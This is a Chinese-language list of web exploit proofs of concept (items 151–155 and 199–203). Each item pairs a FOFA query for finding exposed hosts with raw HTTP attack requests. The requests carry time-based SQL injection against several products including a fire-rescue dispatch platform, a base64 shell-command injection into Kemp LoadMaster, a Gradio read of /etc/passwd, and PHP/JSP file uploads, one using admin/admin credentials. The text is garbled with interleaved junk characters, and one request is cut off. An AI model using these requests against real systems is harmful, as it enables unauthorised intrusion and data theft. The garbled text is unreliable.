( X- J S1 F$ ?5 H" @, _2 T3 b151. AJ-Report 1.4.1 pageList sql注入 ) j$ j. E2 m2 a# z ^0 F4 yFOFA：title="AJ-Report" / Q1 [" T. H! e t0 ~6 eGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1) @8 C6 B" ] b% ?- L! k2 b
Host: x.x.x.x ' F2 T I& T- A% i0 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15$ H6 u X$ \+ @! U H4 ~
Connection: close/ P# f- e! t8 B w- f- E
Accept-Encoding: gzip" K4 v9 P" _6 W! f2 P7 `
7 n/ ?1 o+ X* f5 `( m8 Q* J! H/ X) L! D5 x3 Q* R
152. Progress Kemp LoadMaster 远程命令执行 5 \: r# h. q j2 {# p5 j" lCVE-2024-1212% i$ D! `! E9 M2 U; r
LoadMaster <= 7.2.59.2 (GA) 6 L* D0 ]/ C3 T& j2 _LoadMaster<=7.2.54.8 (LTSF) " h p0 A) k# S- Y' i% XLoadMaster <= 7.2.48.10 (LTS)- p1 R) [3 [5 s2 O4 T- k! [
FOFA：body="LoadMaster"; R) ]2 M$ x& l0 E
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码 9 x. n0 }4 U8 NGET /access/set?param=enableapi&value=1 HTTP/1.1 / w$ j9 O W* |4 V9 l g2 PHost: x.x.x.x + A9 j1 Z4 l7 k/ jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1% j. O9 f: g K* y$ K# K) H% x0 J) N4 R
Connection: close3 T3 r0 x8 H# ?' U+ U4 h& R, A
Accept: */* $ |# t) h% {: l* V% W, Q$ _Accept-Language: en4 s. b# U! [9 z1 m/ d9 R- }
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=- @3 i7 m6 a0 y; X P9 R! P2 C4 z
Accept-Encoding: gzip , }, S0 d" ~0 `3 g2 Y* h" g Q4 h* @" e! P' Z: d- J7 G# n2 _9 r
6 W# Z$ B2 l! P! D7 T153. gradio任意文件读取 B, q8 R( Z; \
CVE-2024-1561FOFA：body="__gradio_mode__" ' _, ? _0 Q' m, @8 }第一步，请求/config文件获取componets的id 9 C. M& g2 r( g$ I0 _7 S" V. M; phttp://x.x.x.x/config1 g! u1 U! R+ K
; W* C+ D' \, p! O A/ f8 i& A: a- q4 Y! a
第二步，将/etc/passwd的内容写入到一个临时文件 & t# ^! M2 c8 IPOST /component_server HTTP/1.10 N8 P- t3 I# L. M
Host: x.x.x.x. g7 i# \5 T8 ]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3, m) i8 s' n) d
Connection: close7 |& N) Q0 G, J
Content-Length: 115 ( O( T m; o* l' u. \8 aContent-Type: application/json % F/ z& D2 S2 `Accept-Encoding: gzip1 H) a" k; `( k9 c
& }. Q7 K- G) @% u2 l& a ]{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}+ e& Q: t! {3 T: K6 V
& Z( d. T+ `& `1 Q/ l: O
( e4 {! G, M$ ~8 d第三步访问 + o- F H$ j( J7 Vhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd ( Z2 V* R8 S2 m ) I% F6 r; q2 v( g/ X9 ^1 ^" E T! V/ g. v$ R* ~
154. 天维尔消防救援作战调度平台 SQL注入 ' D& P1 Q% j& j) U8 y, k, |CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"! H8 Y1 h9 T- ~- q
POST /twms-service-mfs/mfsNotice/page HTTP/1.15 P5 a& c) a, V% _
Host: x.x.x.x : U3 U5 C% _' m7 v0 O# wContent-Length: 106 7 u4 d3 O; p6 l- z+ gCache-Control: max-age=0; K) V0 `: I8 y$ v; e, z& S5 @
Upgrade-Insecure-Requests: 1 * G0 I# M' p$ nOrigin: http://x.x.x.x1 ?) }) M5 E. e. C
Content-Type: application/json & t6 n9 c# q) Z: n% [4 J$ ]3 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 2 q1 ^1 v& _* ~& qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7$ D: X9 R5 T( H# R+ l5 [, l" k
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page+ r/ t( K, e1 N" \4 k h' P9 G
Accept-Encoding: gzip, deflate . o5 G r2 v# O' {Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7( c9 |) }, Y3 g
Connection: close , g+ U2 ^, O+ y; {0 x% G- b* i+ }. x. i2 C' X$ I) ?
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="} 0 z9 b3 }& H: f8 @; ^ : `; F& T! i y) T) x + A0 x* S p3 R/ S c. U" B155. 六零导航页 file.php 任意文件上传# G. D7 ]9 X+ h& M8 m5 s
CVE-2024-349821 [1 ^. N8 I) x9 p# W, o
FOFA：title=="上网导航 - LyLme Spage"! t! }( ?& V8 T& N, g; J
POST /include/file.php HTTP/1.1 2 V" `2 y0 ~. Z1 l! ]Host: x.x.x.x ; m$ C7 \" \) [: p9 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 5 q, {: i" l1 L( ~+ yConnection: close 5 o* X" Z/ L0 Y/ f3 UContent-Length: 232 - ^& `* ~& p# b1 r0 k# mAccept: application/json, text/javascript, */*; q=0.019 D$ S) v. S( O0 m5 M3 `
Accept-Encoding: gzip, deflate, br 3 j9 f3 V( Z5 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 k: Q. m, f T9 r- J5 d2 LContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f 1 L: D3 a" B- b3 TX-Requested-With: XMLHttpRequest8 Y) P* T" L2 ^+ p! y
+ N; A+ u( F$ B% |- _199. cockpit系统assetsmanager_upload接口 文件上传; t( e! F. L; x2 I4 [9 d' a- T
1 O4 k3 _/ J' `$ ?! U1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：5 |0 v# ?) D" y0 }+ v
GET /auth/login?to=/ HTTP/1.1 ' _: P% X( }& n3 b1 ^+ m# W4 o$ d! [. Z4 d6 ~" j
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw" ! P5 J3 _$ R6 J 1 k: u1 z4 S) S2 w) b+ v2.使用刚才上一步获取到的jwt获取cookie：8 G6 C9 a' f, f' P2 R
- ^6 t1 d6 O ~0 s3 Q8 G
POST /auth/check HTTP/1.1 8 y0 _( w1 d. E9 [Content-Type: application/json6 y8 r* n5 k& C1 d( X: O9 B+ X3 K
2 |6 V- W u" Z{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"} : Q9 Q/ H7 L6 h+ U' k: P* x) B/ a: G' V
响应：200，返回值:3 q1 D9 Q, ~- x; V3 a( C
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/1 e, \, h: I4 m1 T) L! X* [ H0 ]
Fofa：title="Authenticate Please!" ) ?" Y- C* O9 J! z5 \$ pPOST /assetsmanager/upload HTTP/1.1 * W5 v% C; K$ AContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3 ; z/ s5 G8 Q8 z) ~1 zCookie: mysession=95524f01e238bf51bb60d77ede3bea92 9 t4 u( r( c4 s( c0 q* W Q0 G7 B% a- C
-----------------------------36D28FBc36bd6feE7Fb3. j8 ]; Z) E! {2 J# ~4 A, m
Content-Disposition: form-data; name="files[]"; filename="tttt.php"( u. d! b& I0 S1 n+ v
Content-Type: text/php( h) K) O7 P& [$ ]. ]3 N; N
+ r& P0 _, T5 l! g9 V
<?php echo "tttt";unlink(__FILE__);?>. l2 n4 n2 _9 j7 U9 p: `4 n$ C
-----------------------------36D28FBc36bd6feE7Fb3 : r/ b/ W) H! `" `3 W/ pContent-Disposition: form-data; name="folder"! H* q4 Z G5 k8 I
$ z/ |& M: o* E" ?3 [-----------------------------36D28FBc36bd6feE7Fb3-- 3 M$ k* Z4 a( Q% O, M8 x9 S- j # @/ n) c0 k. p$ N8 j4 F c# F/ P0 p, n v/storage/uploads/tttt.php 5 _% k3 B& H* | s) |2 W , m( P% ~7 O& F200. SeaCMS海洋影视管理系统dmku SQL注入1 J9 i3 d6 g9 g0 N4 [% K4 X
FOFA：app="海洋CMS"' }9 T. ? V# j% t; d0 d; Q
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.13 `9 j6 c$ J, ~ {& d
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s8 d/ k& M: a% p! c7 Y
Upgrade-Insecure-Requests: 1 2 L8 c) @' x, T* oCache-Control: max-age=0% [, O- i! U. s# t( U- p, t2 A: q/ H4 k
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7: r3 ~7 i5 R4 B/ X) V; L: F
Accept-Encoding: gzip, deflate+ O% |: h( j& j; K( u) i" G) q
Accept-Language: zh-CN,zh;q=0.96 ?- Y1 G( I. U- l9 q( _
; _3 r7 e4 [4 D, ^ K
$ |" j% c e( D6 \# M) C3 o6 G& }201. 方正全媒体新闻采编系统 binary SQL注入: U5 J4 }8 w* t8 ^
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统" $ \5 ^$ B/ ?* C9 dPOST /newsedit/newsplan/task/binary.do HTTP/1.1 0 X% B A4 h# T8 M- @8 K7 B4 d' CContent-Type: application/x-www-form-urlencoded5 e5 K- d& q& s4 h8 o. r5 q2 a* D+ w% S
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 L) J8 T" ?2 y6 FAccept-Encoding: gzip, deflate3 B6 R: ~, U9 U7 m- V. C8 l
Accept-Language: zh-CN,zh;q=0.9! w8 j( A, H. W+ d
Connection: close( X" K5 }) v6 R# E& M3 W" |
. {/ k7 e( T( m1 k4 @
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1 7 L* J# Z5 u: z2 E' D) Z x9 y Y8 E- S) m/ [# H Y
- q: ^# c9 P- P
202. 微擎系统 AccountEdit任意文件上传) X# S# ^1 t) ~$ l
FOFA：body="/Widgets/WidgetCollection/"0 o. S. a9 F9 Z# A5 W
获取__VIEWSTATE和__EVENTVALIDATION值 * g. M' B9 |3 QGET /User/AccountEdit.aspx HTTP/1.11 I: k: v" s: c" z# {6 x
Host: 滑板人之家 % }6 r! y; Y/ f8 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31# h/ `- d! P& c7 ~5 ~
Content-Length: 0$ o ]- E1 r' ?# G# f W9 O1 I+ k
; G9 C+ u) T- V9 J
- A$ ?+ b2 `- g& M
替换__VIEWSTATE和__EVENTVALIDATION值, D6 N3 d: L& Q/ z
POST /User/AccountEdit.aspx HTTP/1.1 $ A& w& G, B% LAccept-Encoding: gzip, deflate, br$ F4 B4 u3 T. H- W4 P: v
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687+ L" Q8 S4 t! K2 J
. k- C& R. ^+ A. A
-----------------------------786435874t38587593865736587346567358735687 T5 ?4 m: e! F8 B6 bContent-Disposition: form-data; name="__VIEWSTATE" 7 q' F/ {# N; w) @- }6 E* `; b 7 Y# t4 F5 ^4 u3 ^! _* Q9 E__VIEWSTATE * I. R |% S2 l/ Z2 ~# @ g-----------------------------786435874t385875938657365873465673587356870 @- ~% W; g/ Q' U
Content-Disposition: form-data; name="__EVENTVALIDATION" 8 H8 x; `3 G+ r, A0 p/ s" X8 x$ C 0 g" _. d1 p; ~4 L* [9 {9 Z__EVENTVALIDATION 8 W! D4 \( A9 E-----------------------------786435874t38587593865736587346567358735687 5 g7 q4 O, c4 i) F" RContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"* P- M9 B8 F( F; R
Content-Type: text/plain 6 k c9 W( ]- f9 [; c ' C) H# b/ l% H2 o% LHello World!; L2 F5 m/ D3 \+ v% p
-----------------------------786435874t38587593865736587346567358735687 5 J7 F1 g& E4 XContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload" ! ]0 i' W$ j' j0 |# } i- f" D% k) I% t8 C6 a) i
上传图片% m( ?* t2 R4 z9 m/ i# z
-----------------------------786435874t38587593865736587346567358735687 % [) |% y4 O9 c- ]' C# r1 n" C/ R" SContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName". J8 Q; Q. O* b
4 T( g. _! a" N" W7 V8 I . s' s% b) a) C7 P; J-----------------------------786435874t38587593865736587346567358735687, K5 z, I3 U5 d6 P0 d
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail" . I+ o9 P+ X1 V7 W- Y1 S5 @0 u6 z; v
$ m2 D* z c# ?' W8 l* g/ J
-----------------------------786435874t38587593865736587346567358735687--( p9 j% w, q% Q
# |7 O/ w& T) t A* e6 M' T2 y 7 |. d2 e1 K6 {/_data/Uploads/1123.txt% V5 {/ ?) g4 V( v1 r G, n9 \9 s
) U/ M* ^5 i- Y6 b
203. 红海云EHR PtFjk 文件上传# }: N7 Q: s1 s1 q4 D
FOFA：body="RedseaPlatform"# n n9 o8 O( k
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.17 E7 g- [$ f9 [$ ?, I5 C& e
Host: x.x.x.x 6 C5 k7 B1 s; l1 B5 qAccept-Encoding: gzip 6 ^4 }: J( x* M( j" m! R6 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 `6 W4 C) n* L# U6 R: x4 g* \
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys49 a9 B$ w9 Q- Y) y& |
Content-Length: 210 4 U' n. C' @% V8 M/ j6 V* Z: F5 C* r2 e4 ]% H0 o, _2 I
------WebKitFormBoundaryt7WbDl1tXogoZys4 ! Y8 Q" J& G" G( R/ [( G. h8 `$ tContent-Disposition: form-data; name="fj_file"; filename="11.jsp" & I0 V8 x2 l5 _6 l8 S$ ]9 q E$ hContent-Type:image/jpeg: X6 ^; T0 |: {! g L4 }& A( ?
4 K3 d& m; k: m0 {. v' U$ ~<% out.print("hello,eHR");%>" s) u H9 w4 b R' A. B
------WebKitFormBoundaryt7WbDl1tXogoZys4-- 8 A# K. [! j8 c4 f0 p9 c. l! M. I% F# q6 b
8 v" ?: m) V( @- l
{5 n( g) T1 O4 |
0 \& ]4 R. D' G 9 l2 S# s, n9 [2 [- E4 C 2 y4 x8 `) D* i5 D8 Z